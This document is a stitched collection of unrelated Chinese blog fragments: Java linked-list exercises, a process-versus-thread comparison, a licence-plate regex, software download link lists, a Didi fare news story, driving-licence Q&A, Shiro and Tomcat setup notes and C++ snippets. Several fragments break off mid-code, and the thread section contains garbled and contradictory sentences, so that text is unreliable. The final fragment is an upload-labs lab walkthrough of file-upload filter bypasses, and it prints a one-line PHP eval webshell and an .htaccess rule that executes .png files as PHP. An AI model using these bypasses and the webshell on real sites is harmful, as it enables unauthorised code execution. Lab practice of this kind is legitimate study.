文章目录 题目描述解题思路算法性能分析 题目描述 已知两个链表head1、head2各自有序(如升序排列),请把它们合并为一个链表,要求合并后的链表依然有序。
解题思路 分别用指针head1、head2来遍历两个链表,如果当前head1指向的数据小于head2指向的数据,则将head1指向的结点归入合并后的链表中,否则将head2指向的结点归入合并后的链表中。如果有一个链表遍历结束,则把未结束的链表连接到合并后的链表尾部。
class LNode { /** * 数据域 */ int data; /** * 下一个结点的引用 */ LNode next; } public class Test9 { public static LNode constructList(int start){ /** * @Author: JavaRecord * @Description:构造链表 * @Param [start] * @Return linked.list1.LNode * @Date 2020/8/19 * @Time 14:31 */ int i=start; LNode head=new LNode(); head.next=null; LNode tmp=null; LNode cur=head; for(;i<7;i+=2){ tmp=new LNode(); tmp.data=i; tmp.next=null; cur.next=tmp; cur=tmp; } return head; } public static LNode merge(LNode head1,LNode head2){ /** * @Author: JavaRecord * @Description:合并两个升序排列的单链表 * @Param [head1, head2] * @Return linked.
文章目录 题目描述解题思路算法性能分析 题目描述 K链表翻转是指把每K个相邻的结点看成一组进行翻转,如果剩余结点不足K个,则保持不变。假设给定链表1→2→3→4→5→6→7和一个数K,如果K的值为2,那么翻转后的链表为2→1→4→3→6→5→7。如果K的值为3,那么翻转后的链表为3→2→1→6→5→4→7.
解题思路 首先把前K个结点看成一个子链表,将其进行翻转,把翻转后的子链表链接到头结点后面,然后把接下来的K个结点看成另外一个单独的链表进行翻转,把翻转后的子链表链接到上一个已经完成翻转的子链表的后面。当K=3时:
class LNode { /** * 数据域 */ int data; /** * 下一个结点的引用 */ LNode next; } public class Test8 { private static LNode reverse(LNode head){ /** * @Author: JavaRecord * @Description:把不带头结点的单链表进行翻转 * @Param [head] * @Return linked.list1.LNode * @Date 2020/8/19 * @Time 13:44 */ if(head==null||head.next==null){ return head; } //前驱结点 LNode pre=head; //当前结点 LNode cur=head.next; //后继结点 LNode next=cur.next; pre.next=null; //使当前遍历到的结点cur指向其前驱结点 while (cur!=null){ next=cur.next; cur.next=pre; pre=cur; cur=next; } return pre; } public static void reverseK(LNode head,int k){ /** * @Author: JavaRecord * @Description:对链表K翻转 * @Param [head, K] * @Return void * @Date 2020/8/19 * @Time 13:49 */ if(head==null||head.
文章目录 题目描述方法一:交换值法方法二:就地逆序算法性能分析 题目描述 把链表相邻元素翻转,如给定链表为1→2→3→4→5→6→7,则翻转后的链表为2→1→4→3→6→5→7
方法一:交换值法 最容易想到的方法就是交换相邻两个结点的数据域,这种方法由于不需要重新调整链表的结构,因此比较容易实现,但是这种方法并不是考官所期望的解法
方法二:就地逆序 主要思路:通过调整结点指针域的指向来直接调换相邻的两个结点。如果单链表恰好有偶数个结点,那么只需要将奇偶结点对调即可,如果链表有奇数个结点,那么只需要将除了最后一个结点外的其它结点进行奇偶对调即可。
class LNode { /** * 数据域 */ int data; /** * 下一个结点的引用 */ LNode next; } public class Test7 { public static void reverse(LNode head){ /** * @Author: JavaRecord * @Description:把链表相邻元素翻转 * @Param [head] * @Return void * @Date 2020/8/14 * @Time 20:40 */ //判断是否为空 if(head==null || head.next==null){ return; } //当前遍历结点 LNode cur = head.next; //当前结点的前驱结点 LNode pre = head; //当前结点后继结点的后继结点 LNode next = null; while (cur!
文章目录 题目描述方法一:蛮力法方法二:快慢指针遍历法引申:如果链表存在环,那么如何找到环的入口点?算法性能分析 题目描述 单链表有环指的是单链表中某个结点的next域指向链表中在它之前的某一个结点,这样在链表的尾部形成了一个环形结构。如何判断单链表是否有环存在?
方法一:蛮力法 定义一个HashSet用来存放结点的引用,并将其初始化为空,从链表的头结点开始向后遍历,没遍历到一个结点就判断HashSet中是否有这个结点的引用。如果没有,说明这个结点是第一次访问,还没有形成环,那么将这个结点的引用添加到HashSet中去。如果在HashSet中找到了同样的结点,那么说明这个结点已经被访问过了,于是形成了环。这种方法时间复杂度为O(N),空间复杂度为O(N).
方法二:快慢指针遍历法 定义两个指针fast(快)和slow(慢),两者的初始值都指向链表头,指针slow每次前进一步,指针fast每次前进两步。两个指针同时向前移动,快指针每移动一次都要和慢指针比较,如果快指针等于慢指针,就证明这个链表是带环的单向链表,否则证明这个链表是不带环的循环链表。
引申:如果链表存在环,那么如何找到环的入口点? 当链表有环时,如果知道环的入口点,那么在需要遍历链表或释放链表所占的空间时方法将会非常简单,查找链表环入口的思路如下:
如果单链表有环,按照方法二的思路,当走得快的指针fast与走得慢的指针slow相遇时,slow指针肯定没有遍历完链表,而fast指针已经在环内循环了n圈(n>=1)。如果slow指针走了s步,则fast指针走了2s步(fast步数还等于s加上在环内多转的n圈),假设环长为r,则满足以下关系表达式:
2s = s + nr 由此可得:s = nr
设整个链表长为L,入口环与相遇点距离为x,起点到环入口点的距离为a。则满足以下关系表达式:
a + x = nr a + x = (n-1)r + r =(n-1)r + L - a a = (n-1)r + (L - a - x) (L - a - x)为相遇点到环入口点的距离,从链表头到环入口点的距离=(n-1)环长+相遇点到环入口的长度,于是从链表头与相遇点分别设一个指针,每次各走一步,两个指针必定相遇,且相遇的第一点为环入口点。
class LNode { /** * 数据域 */ int data; /** * 下一个结点的引用 */ LNode next; } public class Test6 { public static LNode constructList(){ /** * @Author: JavaRecord * @Description:构造链表 * @Param [] * @Return linked.
转自文章进程和线程的区别 面试必考 | 进程和线程的区别
1、根本区别 进程和线程的根本区别是进程是操作系统(OS)资源分配的基本单位,而线程是处理器(CPU)任务调度和执行的基本单位。
2、资源开销: 每个进程都有独立的代码和数据空间(程序上下文),程序之间的切换会有较大的开销;线程可以看做轻量级的进程,同一类线程共享代码和数据空间,每个线程都有自己独立的运行栈和程序计数器(PC),线程之间切换的开销小。
3、包含关系: 如果一个进程内有多个线程,则执行过程不是一条线的,而是多条线
同完成的;线程是进程的一部分,所行过程不是一条线的,而是多条线(线耗)其被称为轻权进程或者轻量级进程。
4、内存分配: 同一进程的线程共享本进分享截屏空间和资源,而进程之间的地址空间和资源是相互独立的。
5、影响关系: 一个进程崩溃后,在保护模式下不会对其他进程产生影响,但是一个线程崩溃整个进程都死掉。所以多进程要比多线程健壮。
6、执行过程: 每个独立的进程有程序运行的入口、顺序执行序列和程序出口。但是线程不能独立执行,必须依存在应用程序中,由应用程序提供多个线程执行控制,两者均可并发执行。
✌️ 补充 一、进程、线程、协程的概念 进程:是并发执行的程序在执行过程中分配和管理资源的基本单位,是一个动态概念,竞争计算机系统资源的基本单位。
线程:是进程的一个执行单元,是进程内科调度实体。比进程更小的独立运行的基本单位。线程也被称为轻量级进程。
协程:是一种比线程更加轻量级的存在。一个线程也可以拥有多个协程。其执行过程更类似于子例程,或者说不带返回值的函数调用。
二、进程和线程的区别 地址空间:线程共享本进程的地址空间,而进程之间是独立的地址空间。
资源:线程共享本进程的资源如内存、I/O、cpu等,不利于资源的管理和保护,而进程之间的资源是独立的,能很好的进行资源管理和保护。
健壮性:多进程要比多线程健壮,一个进程崩溃后,在保护模式下不会对其他进程产生影响,但是一个线程崩溃整个进程都死掉。
执行过程:每个独立的进程有一个程序运行的入口、顺序执行序列和程序入口,执行开销大。但是线程不能独立执行,必须依存在应用程序中,由应用程序提供多个线程执行控制,执行开销小。
可并发性:
两者均可并发执行。
切换时:
进程切换时,消耗的资源大,效率高。所以涉及到频繁的切换时,使用线程要好于进程。同样如果要求同时进行并且又要共享某些变量的并发操作,只能用线程不能用进程。
其他:线程是处理器调度的基本单位,但是进程不是。
三、协程和线程的区别 协程避免了无意义的调度,由此可以提高性能,但程序员必须自己承担调度的责任。同时,协程也失去了标准线程使用多CPU的能力。
线程相对独立有自己的上下文切换受系统控制;协程相对独立有自己的上下文切换由自己控制,由当前协程切换到其他协程由当前协程来控制。
四、何时使用多进程,何时使用多线程? 对资源的管理和保护要求高,不限制开销和效率时,使用多进程。要求效率高,频繁切换时,资源的保护管理要求不是很高时,使用多线程。
五、为什么会有线程? 每个进程都有自己的地址空间,即进程空间,在网络或多用户换机下,一个服务器通常需要接收大量不确定数量用户的并发请求,为每一个请求都创建一个进程显然行不通(系统开销大响应用户请求效率低),因此操作系统中线程概念被引进。
六、*python多线程的问题(面试问题) 存在问题:
python由于历史遗留的问题,严格说多个线程并不会同时执行(没法有效利用多核处理器,python的并发只是在交替执行不同的代码)。多线程在Python中只能交替执行,即使100个线程跑在100核CPU上,也只能用到1个核。所以python的多线程并发并不能充分利用多核,并发没有java的并发严格。
原因:
原因就在于GIL ,在Cpython 解释器(Python语言的主流解释器)中,有一把全局解释锁(GIL, Global Interpreter Lock),在解释器解释执行Python 代码时,任何Python线程执行前,都先要得到这把GIL锁。这个GIL全局锁实际上把所有线程的执行代码都给上了锁。这意味着,python在任何时候,只可能有一个线程在执行代码。其它线程要想获得CPU执行代码指令,就必须先获得这把锁,如果锁被其它线程占用了,那么该线程就只能等待,直到占有该锁的线程释放锁才有执行代码指令的可能。多个线程一起执行反而更加慢的原因:同一时刻,只有一个线程在运行,其它线程只能等待,即使是多核CPU,也没办法让多个线程「并行」地同时执行代码,只能是交替执行,因为多线程涉及到上线文切换、锁机制处理(获取锁,释放锁等),所以,多线程执行不快反慢。什么时候GIL 被释放?当一个线程遇到I/O 任务时,将释放GIL。计算密集型(CPU-bound)线程执行100次解释器的计步(ticks)时(计步可粗略看作Python 虚拟机的指令),也会释放GIL。即,每执行100条字节码,解释器就自动释放GIL锁,让别的线程有机会执行。Python虽然不能利用多线程实现多核任务,但可以通过多进程实现多核任务。多个Python进程有各自独立的GIL锁,互不影响。
本条参考博客:http://www.sohu.com/a/230407177_99992472
七、进程通信方式(选读) 管道:速度慢,容量有限,只有父子进程能通讯
FIFO:任何进程间都能通讯,但速度慢
消息队列:容量受到系统限制,且要注意第一次读的时候,要考虑上一次没有读完数据的问题
信号量:不能传递复杂消息,只能用来同步
共享内存区:能够很容易控制容量,速度快,但要保持同步,比如一个进程在写的时候,另一个进程要注意读写的问题,相当于线程中的线程安全,当然,共享内存区同样可以用作线程间通讯,不过没这个必要,线程间本来就已经共享了同一进程内的一块内存
本条参考博客:https://blog.csdn.net/weixin_40283480/article/details/82155704
八、举例说明进程、线程、协程 程序:例如main.py这是程序,是一个静态的程序。
python进程:一个程序运行起来后,代码+用到的资源 称之为进程,它是操作系统分配资源的基本单元。multiprocessing.Process实现多进程
进程池:如果要启动大量的子进程,可以用进程池的方式批量创建子进程。multiprocessing.Pool
进程间通信:各自在独立的地址空间,并不能直接进行全局的数据共享,在创建子进程的时候会将父进程的数据复制到子进程中一份。进程间通信 Python的multiprocessing模块包装了底层的机制,提供了Queue、Pipes等多种方式来交换数据。
车牌号通用校验规则:可输入7-8为字符
1、首字符输入:京津沪渝冀豫云辽黑湘皖鲁新苏浙赣鄂桂甘晋蒙陕吉闽贵粤青藏川宁琼
2、第二位:大写字母,不能输字母I和O
3、第三到八位:大写字母和数字组合,但是不能输入字母I和O,第七位可以是:挂学警港澳使领的汉字。
如果车牌是八位字符的,则:
第三位是字母D或字母F时:第四位:字母或者数字,后四位:必须使用数字;
第三位是数字时:最后一位必须是字母D或者F
下面展示一些 内联代码片。
pattern: /^(([京津沪渝冀豫云辽黑湘皖鲁新苏浙赣鄂桂甘晋蒙陕吉闽贵粤青藏川宁琼使领][A-HJ-NP-Z](([0-9]{5}[DF])|([DF]([A-HJ-NP-Z0-9])[0-9]{4})))|([京津沪渝冀豫云辽黑湘皖鲁新苏浙赣鄂桂甘晋蒙陕吉闽贵粤青藏川宁琼使领][A-HJ-NP-Z][A-HJ-NP-Z0-9]{4}[A-HJ-NP-Z0-9挂学警港澳使领]))$/, 后面可能陆续出现一些新能源车并非为DF开头的,可更加需求修改,之前也再网上找过一些,都有bug,后面根据自己需求写了一个完整的,希望可以帮助到大家。对你有用的话不妨一键三连
点击右上角“设为星标”每日精彩内容,第一时间送达!
前言 在当今的数字世界中,音频文件有许多不同的格式。每个播放器或媒体播放器都支持特定类型的音频格式。我们在下文中的软件可以将数字世界中的所有标准格式转换为另一种格式。
该软件完全支持所有的格式。只要你能想到的,它都能转换。该程序支持MP3、RA、RMM、RAM、RPM、RM、RMVB、WAV、OGG、CDA、APE、APL、MPC、MP+、WMA、FLAC、AAC、M4A、MP4、TTA、OFR、SPX、WV、XM、IT、S3M、MOD、MTM、UMX、AMR、MP3/OGG压缩MODs、MIDI、VQF、PAF、IFF、SVX、WAV、W64、MAT4、MAT5、PVF、XI、HTK等等。 –能够更改文件质量
–支持批处理文件转换
–以最高质量转换格式
–能够翻录音频光盘的内容
–自带内部媒体播放器
–与Windows资源管理器集成
–超高效率转换格式(秒级) 最全的音频格式转换器 软件下载 https://styjy.lanzoui.com/isqschkn3mf
可能喜欢 【嵩庭研究院】声明
① 资源皆为免费分享,仅供学习&交流(禁商用),如有侵权,请联系我删除 ② “只有想不到,没有找不到”想要什么资源请在推文里留言,嵩庭回复你
③ 每篇推文后附下载链接地址,复制下载链接,用浏览器打开下载即可 点个 在看 , 支持嵩庭 ↓ ↓ ↓
JDK JDK 8u202及之前的版本:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html JDK 8u211及之后的版本:https://www.oracle.com/java/technologies/javase/javase8u211-later-archive-downloads.htmlJDK 各种版本:https://www.oracle.com/java/technologies/oracle-java-archive-downloads.htmlJDK 15 最新版本:https://www.oracle.com/java/technologies/javase-jdk15-downloads.htmlJava SE 15 API Documentation:https://docs.oracle.com/en/java/javase/15/docs/api/index.htmlJDK 11 最新版本:https://www.oracle.com/java/technologies/javase-jdk11-downloads.htmlJava SE 11 API Documentation:https://docs.oracle.com/en/java/javase/11/docs/api/index.htmlJDK 8 最新版本:https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.htmlJRE 8 最新版本:https://www.oracle.com/java/technologies/javase-jre8-downloads.htmlJava SE 8 API Documentation:https://docs.oracle.com/javase/8/docs/api/index.htmlJDK 下载导航:https://www.oracle.com/java/technologies/ Tomcat 官网:https://tomcat.apache.org/Tomcat 10 最新版本:https://tomcat.apache.org/download-10.cgiTomcat 9 最新版本:https://tomcat.apache.org/download-90.cgiTomcat 8 最新版本:https://tomcat.apache.org/download-80.cgiTomcat 7 最新版本:https://tomcat.apache.org/download-70.cgiTomcat 3 至 10 各版本:https://archive.apache.org/dist/tomcat/Tomcat 9.0.20:https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.20/bin/Tomcat 9.0.20 window 64位压缩包:http://archive.apache.org/dist/tomcat/tomcat-9/v9.0.20/bin/apache-tomcat-9.0.20-windows-x64.zip Git 官网:https://git-scm.com/Windows 版本下载:https://git-scm.com/download/winMac 版本下载:https://git-scm.com/download/macLinux 版本下载:https://git-scm.com/download/linux Maven 官网:https://maven.apache.org/下载:https://maven.apache.org/download.cgi仓库搜索:https://mvnrepository.com/ JetBrains 官网:https://www.jetbrains.com/开发者工具:https://www.jetbrains.com/products.html#type=ideIDEA:https://www.jetbrains.com/idea/download/WebStorm:https://www.jetbrains.com/webstorm/download/PyCharm:https://www.jetbrains.com/pycharm/download/ Android 官网:https://developer.android.google.cn/Android Studio:https://developer.android.google.cn/studio 廖雪峰的官方网站(学习教程) Git:https://www.liaoxuefeng.com/wiki/896043488029600Java:https://www.liaoxuefeng.com/wiki/1252599548343744JavaScript:https://www.liaoxuefeng.com/wiki/1022910821149312SQL:https://www.liaoxuefeng.com/wiki/1177760294764384Python:https://www.liaoxuefeng.com/wiki/1016959663602400
陕西汉中的李先生,人在泰国却收到行程在哈尔滨的滴滴快车未支付订单提醒,四公里的路程收费79.03元。假如被异地消费,这笔未支付的“锅”该谁背?
人在泰国却收到滴滴打车异地消费信息
李先生于6月3日从西安飞往曼谷,至今仍未回国。7月7日,他的备用机收到一条短信,显示有一笔滴滴账单没有支付,“一开始以为是诈骗短信,随后用另一个手机下载滴滴app查看发现确实有一笔订单,6月22日从哈尔滨鑫城酒店到头号玩家电竞网咖,车费79.03元未支付”,李先生表示自己从未去过黑龙江哈尔滨,平常多在陕西汉中活动,且由于2018年前往泰国留学便取消了滴滴的免密支付,导致这笔“李鬼”账单需要手动支付。
“备用机是平日用来接收父母转账验证码,不常使用“,李先生补充道。
▲备用机收到短信(消费者供图)
李先生告诉本刊,他最近一次打车是在2018年12月,再往前几次均是在汉中打车,尽管人还在国外,现在滴滴推送的内容都还是汉中的优惠。他还对行程路线有疑惑,认为司机明显在绕路,本该不超过四公里的行程,订单中的实际里程为29.8公里,53.84元,时长61分钟,21.54元,远途费14.80公里,3.85元。本刊在滴滴输入起始地点,快车预估价格仅为12.1元。据截图显示,该笔订单司机为钻石司机,已接过3609单,星级5.0。
▲行车路线(消费者供图)
▲对比查询
李先生向滴滴快车客服投诉道,担心该订单会导致失信影响他8月份回国,要求尽快解决。
本刊致电滴滴,滴滴相关负责人回应本刊:针对路线里程问题,由于该订单期间修改了两次目的地,先后去了2个地点,所以会出现费用比预估价格要高的情况。鉴于用户表示非本人乘车,通过后台核实,怀疑账户被盗,平台目前需要通过技术手段核实乘客账户发单是否存在异常情况,再根据核实结果来处理订单问题。
消费者的账号为何会被盗取,而李先生并未收到异地登陆的短信提醒,对此,平台又该承担什么责任呢?本刊采访了原法院法官、法律从业者郭小明。 专家:举证难度较大,应第一时间与平台联系 人在泰国,滴滴快车账户却在国内发生订单,除非是用户授权他人登录使用,否则用户可以不承担责任。但问题的关键在于,用户需要举证证明自己在当时没有使用该账户打过车。比如,往返泰国的机票、入住泰国酒店的记录,或者用户在该时间不可能在打车起始位置等所有可以证明在订单发生时间段用户不在国内的证据。
郭小明表示,在是否授权他人使用本人账号的举证上,用户的证明难度很大。建议消费者平时妥善保管打车软件账号密码,尽量不将账户给他人使用。在发生异常订单时,应当第一时间与网约车平台联系反馈,并与平台协商解决方案,协商不成,可向法院提起诉讼。
导语:聊到驾校,大家应该都熟悉,有朋友问考c1的为什么比c2的多,另外,还有朋友想问男生考c2驾照很丢人吗,这到底是咋回事?其实男人考c2驾照后悔吗,接下来,小编就来教教大家为什么驾校不建议年轻人考c2,跟我一起来看看吧~
为什么驾校不建议年轻人考c2
选C1本的根本原因就是因为C1本和C2本的最大区别在于可驾车型的不同。虽然C1驾照和C2驾照是比较常见的小汽车驾照类型,但并不代表两者可“通用”
1.C1驾照和C2驾照分别指什么?
C1驾照为小型汽车手动挡驾照,C2驾照为小型汽车自动挡驾照。
2.为什么很多驾校的C2驾照比C1驾照培训费用要贵很多?
两者费用的差别主要是由于C2自动挡教练车数量比较少,这类车在使用和维护过程中费用也较贵,加之学员相对较少,整体核算下来,C2驾照要比C1驾照贵一点。
3.C2驾照与C1驾照在考试流程、费用和内容上有什么区别?
C2驾照与C1驾照在考试流程、费用和内容上,除了所使用的车辆不同外,其他并没有实质性的区别。其中C2驾照考试使用小型自动挡车辆,C1驾照考试使用小型手动挡车辆。
4.C2驾照比C1驾照考试要简单?
两者在考试内容和考试标准上并无差别,所以也就没有所谓的“谁比谁简单”。不过由于C2驾照考试时使用的是没有离合、无需换挡的自动挡车辆,学员在考试过程中很少会出现熄火的情况。
5.报考C2驾照中途可以转C1驾照吗?
如果学员报考了C1驾照,在培训过程中想要换考C2驾照,驾校是允许的。但若学员报考的是C2驾照,在培训过程中想要转到C1,驾校不会允许。注意,学员只能从C1驾照换考C2驾照,C2驾照在培训中途不能直接换考C1驾照。如果学员想要从C2驾照换为C1驾照,可以在考取C2驾照后,再重新报考参加C1照科目一、二、三的考试后增驾获得。
具体来说就是c1驾照可以驾驶手动档车型,也可以驾驶自动挡车型,而c2驾照只能驾驶自动挡车型,不能驾驶手动档车型。很多人都觉得c1驾照比较划算,所以报考c1驾照。而且一般自动挡c2驾照要比手动档c1驾照的班贵几百元左右。所以结合种种原因选择考取C1本的人比较多
而选择考取C2的人可能是出于我国现在的家用汽车,自动挡占到了70%,也就导致了大部分人即使考了c1驾照,买的还是自动挡车,有的人甚至考了c1驾照后,十几二十年都没摸过手动档。而且既然区分了c1和c2,那么两者在操作上还是会有很大的不同,考c2驾照的一定对于自动档车的操作更了解,所以在考驾照时还是要仔细考虑。
为什么很多人不提倡让女司机学C2驾照?
现在的驾照有A1、A2、A3、B1、B2、C1、C2、C3、C4、C5、D、E、F、M、N、P共16个类别,C3、C4、C5是特殊人群考的,一般新手考驾照都会从C1或C2开始考,而这两种驾照最大的不同是,C1可以开手动挡和自动挡小型汽车,而C2只能开自动挡小型汽车。很多新手虽然想买自动挡汽车,可是怕日后要开手动挡汽车,所以大部分都考了C1驾照。不过,现在越来越多新车直接就考C2了。
C1是手动挡驾照,C2是自动挡驾照。
相比较C1而言,C2好学很多,因为自动挡的车没有离合器,不需要频繁踩离合、换挡,只需要用刹车和油门控制车速就好。
C1的驾照可以开C2和其他手动挡的车,但是C2的驾照只能开自动挡的车,不能开手动挡的车。
虽然说很多人学车只是为了多个技能,或者可以合法开车,但是手动档可以帮助驾驶者了解汽车的机械结构,变速箱的工作原理和升档降挡的作用,在以后开车的时候也可以更加省油和安全。
车不小心没电了,启动不了,可以推动车子,不用过分担心电瓶的寿命。保养稍微便宜点。停车时,可以挂1挡,充当第二手刹。下坡时,可以不用刹车,挂一档慢慢往下开,更安全哦。手动挡的驾驶乐趣,只有手动挡车主能体会哦。所以只是为了让女司机可以学到更多驾驶的技巧,行车更加安全吧。
男生考c2驾照很丢人吗,为什么谁都要说我几句你一个男的为什么考c2什么什么的,现在车子不都是自动挡
男人考c2驾照的人很多啊,好处是:可以认识很多妹子,还可以告诉别人我有钱我任性,你管我学啥子驾照,,哈哈。
老实说,学手动档的都是因为穷。。。。。。
现在有好多人开手动档?
为什么考驾照的人对C2本有偏见?
历史遗留问题,
很多年前,车子都是手动挡,所以所有人都考手动挡
现在时代发展了,老百姓的家用车都是自动挡了,就连公交车和大巴都有自动挡了
但是大部分依旧是老思想,认为C1才是正统,
其实并不是这样,问问你身边的年轻人,或许他们很久以前考出了C1,觉得以后自动手动的车都能开,但是开的却都是自动挡,多年之后,再开手动的车,都不敢了,忘光光了。
为什么c2驾照容易考过
首先C2是自动挡,跟C1手动挡不同,没有离合器,驾驶中不需要变换档位,不易熄火,还避免了油离配合的操作,所以C2自动动在操作难度上远低于C1手动挡。
在考试方面,自动档车型相比手动档车型考试需要的操作要简单很多;手动挡需要的操作和规范繁多,一不注意就挂科,而自动挡在考试时只要分清前进后退档位就行。
C2自动挡相比C1手动挡学习周期短,C1考试通过率比较低,培训周期一定会延长。而C2自动挡由于具有上述优越性,考试拿证周期要短很多。
扩展资料 驾驶证考试是为了获得机动车驾驶证的考试,考试科目内容及合格标准全国统一,该考试分为理论知识、场地驾驶技能、道路驾驶技能及文明驾驶相关知识三个科目四项考试。
驾驶证考试的基本流程为填写表格、身体检查、受理、缴费、考试、制证等
考试科目内容及合格标准全国统一,考试顺序按照科目一、科目二、科目三、科目四依次进行,前一科目考试合格后,方准参加后一科目的考试,考试科目分为:
科目一:道路交通安全法律、法规和相关知识考试科目,考试题库的结构和基本题型由公安部制定,省级公安机关交通管理部门结合本地实际情况建立本省(自治区、直辖市)的考试题库。
科目二:场地驾驶技能考试科目,考试项目包括:倒车入库、坡道定点停车与起步、直角转弯、曲线行驶、侧方停车。上海等城市科目二为九项必考:倒车入库、直角转弯、侧方停车、隧道行驶、停车取卡、曲线行驶、窄路掉头、紧急停车、坡道定点停车和起步
科目三:道路驾驶技能考试科目,考试基本项目包括:上车准备(逆时针绕车一周 上车系安全带 开启左转向灯 挂档 松手刹 鸣喇叭)起步、直线行驶、变更车道、通过路口、靠边停车、通过人行横道线、通过学校区域、通过公共汽车站、会车、超车、掉头、夜间行驶。
科目四:安全文明驾驶常识,考试项目:安全文明驾驶相关知识
驾照问题,有没有必要只学C2
一般建议学C1,因为C1驾驶证包含了C2和C3驾驶证,(C1:小型汽车和C2,C3),(C2:小型自动挡汽车),(C3:低速载货汽车和C4),(C4:三轮汽车),所以学习了C1驾驶证就相当于拥有了C2,C3,C4驾驶证,C2只能开自动挡的小车,不能开手动挡的,而C1既可以开自动挡的,也可以开手动挡的。
男人考c2驾照是不是丢人没面子的表现
男人考c2驾照的人很多啊,好处是:可以认识很多妹子,还可以告诉别人我有钱我任性,你管我学啥子驾照,,哈哈。
老实说,学手动档的都是因为穷。。。。。。
现在有好多人开手动档?
为什么那么多人不考C2而要考C1
1、C1比C2用处大点;
2、C1比C2学费低点;
但是,3、C1比C2难度大点。
为什么驾校都劝考C1而不是C2呢深圳
C1本可以开C2本的车,但C2本不能开C1本的车。
驾校:驾校是具有一定资质,对驾驶人按照机动车驾驶员素质教育大纲进行培训的法人单位。这里可以学习到驾驶各种机动车辆的驾驶技术,以汽车为主.这里还可以学习交通法规,交通标志等许多理论知识.一般会由教练资格的师专门的取得傅(多数为老驾驶员)担任教练,为驾驶证考取人提供帮助。根据道路交通安全法第二十条规定,"机动车的驾驶培训实行社会化,由交通主管部门对驾驶培训学校、驾驶培训班实行资格管理"。因此,驾校的主管部门是交通运输部和公安部。
Shiro 实现免密码登录策略 微信扫码登录 第三方登录问题 一、情景描述
在做微信扫码登录时候,流程是,根据获取的 微信unionId,查找到用户,且用户状态为可用时,即可实现登录;由于使用shiro为安全控制中心,查询出来的用户密码为加密的,且不可逆;所以要做一个Shiro免密登录策略。
二、代码实现
1、Shiro 登录流程
Subject subject = SecurityUtils.getSubject(); UsernamePasswordToken passwordToken = new UsernamePasswordToken(); passwordToken.setUsername(""); passwordToken.setPassword(""); subject.login(passwordToken); 2、创建 UsernamePasswordToken 继承 org.apache.shiro.authc.UsernamePasswordToken 增加属性 unpass ,设置为是否免密码登录
public class UsernamePasswordToken extends org.apache.shiro.authc.UsernamePasswordToken { private static final long serialVersionUID = 1L; private String captcha; private boolean mobileLogin; private String requestFlag; private boolean unpass=false; // 是否免密码登录 // ignore gettet / setter } 3、创建 WechatHashedCredentialsMatcher 继承 org.apache.shiro.authc.credential.HashedCredentialsMatcher ,重写 doCredentialsMatch 方法
RT,修改tomcat访问时http协议为https 怎么下载tomcat和证书的申请我就不多阐述了,网上一搜也比较多的方法,就去阿里云申请一个免费的证书就可以了,记得下载证书的时候要下载对应tomcat 的证书哟。 我在网上也搜索了很多方法,很多不是很清楚,有的说要把下载的证书用jdk转一下格式,转格式的这个方法应该是对应tomcat7之前版本的方法,我查资料有显示说tomcat7以及以上的版本不用把证书的PFX格式转换就可以直接使用。
(PS:如果觉得我写的太多的,可以查看https://www.cnblogs.com/GoslingWu/p/13690481.html,这个比较简单易懂)
ssl证书上传到 服务器。 在服务器上的应用服务器( tomcat8 )中, 创建一个 cert 文件夹,并进将 证书上传到 cert 目录
3、配置应用服务器(tomcat):修改 server.xml文件开启 https 并添加相关内容。 说明:修改前先备份 server.xml ( D:\server\apache-tomcat-8.0.53\conf\server.xml ),
找到 server.xml ,打开并找到 https 配置相关部分。( 文件中第 77 行开始注释部分,默认https配置是被关闭的 ,升级https需要开启)
这里我们拷贝相关的内容,把证书信息也配置上去。截图如下:
重要说明
1、keystoreFile 为ssl证书( pfx 格式)文件路径
2、keystorePass 为证书密钥,在pfx-password.txt 文件中可以找到。
3、port 为 https 访问端口。即使用 https 访问方网站时,后面跟上的端口号是 8443 .
配置代码( tomcat 8 与 8.5 适用):
<!-- http ~ https acces HTTP/1.1 org.apache.coyote.http11.Http11NioProtocol -->
<Connector port="8443" protocol="org.apache.coyote.http11.Http11NioProtocol"
maxThreads="1000" acceptCount="
虚函数[1] 问题:还记得第7章的例子吗[2]?
例7-3 类型转换规则举例 #include <iostream> using namespace std; class Base1 { //基类Base1定义 public: void display() const { cout << "Base1::display()" << endl; } }; class Base2 : public Base1 { //公有派生类Base2定义 public: void display() const { cout << "Base2::display()" << endl; } }; class Derived : public Base2 { //公有派生类Derived定义 public: void display() const { cout << "Derived::display()" << endl; } }; void fun(Base1 *ptr) { //参数为指向基类对象的指针 ptr->display(); //"
upload-labs-env上传漏洞靶机的的过关技巧 第一关: 前端校验上传文件的后缀,因为前端的代码爷中存在js代码设定只允许这类图片上传,我们只需将客户端的运行js代码关掉即可上传php文件
var allow_ext = ".jpg|.png|.gif"; f12----设置----禁用Java Scripts
我使用的php文件是利用php文件查看phpinfo (以下类推,如果想连接菜刀或蚁剑等工具就可以利用其他的一句话木马:举一例 <?php @eval($_POST['cmd']); ?>)
<?php phpinfo();?> 第二关 第二关利用查看mime类型来绕过上传仅允许的显示
首先上传个假的图片(就是php文件将后缀改为png,jpg啥的想改啥改啥)然后利用burpsuit进行抓包-
修改完成后进行发送,之后返回的图片复制链接利用新的标签打开访问刚才的连接即可
第三关 配置中存在除了标准的文件格式之外还存在其他的后缀名对php进行解析
一般的其他后缀名包括什么:php2 php3 php4 php5 phtml pht 。。。。。。
可以自己尝试,这次中可以利用phtml的后缀名对他进行修改然后上传,这一关中phtml可以,php3也可以
之后可以直接打开进行访问
第四关 第四关中是利用黑名单绕过 上传.htaccess文件进行对png文件进行解析
首先编辑一个.htaccess文件
AddType application/x-httpd-php .png 这个是将所有的png文件当作成php文件进行解析
然后先上传一个这个文件
然后再上传一个png文件(修改后缀名的php文件)
上传成功后然后复制连接在进行打开即可
第五关 第五关利用黑名单绕过大小写进行上传漏洞的使用
上传一个php文件利用burpsuit进行抓包
然后对后缀名进行大小写绕过尝试
然后放包就可以绕过
第六关 windows的新建文件夹中在末尾添加一个空格,系统默认会给你取消掉,所以这一关使用首尾空格绕过
依旧上传一个php文件
然后对抓到的包的后缀名进行修改
第七关 第七关中使用windows中新建文件夹中会存在后缀名最后加个点也不会产生影响,所以这一关使用后后缀名加点来绕过
上传php文件-----在burp中修改php文件
然后发送数据包,返回页面复制图片路径进行访问
第八关 第八关中使用隐藏字符进行绕过访问 ::$DATA
之后复制文件路径进行访问
注意:
之后就可以访问成功了
第九关 第九关使用空格点进行绕过,上传php文件在bp中抓包
然后进行访问可访问成功
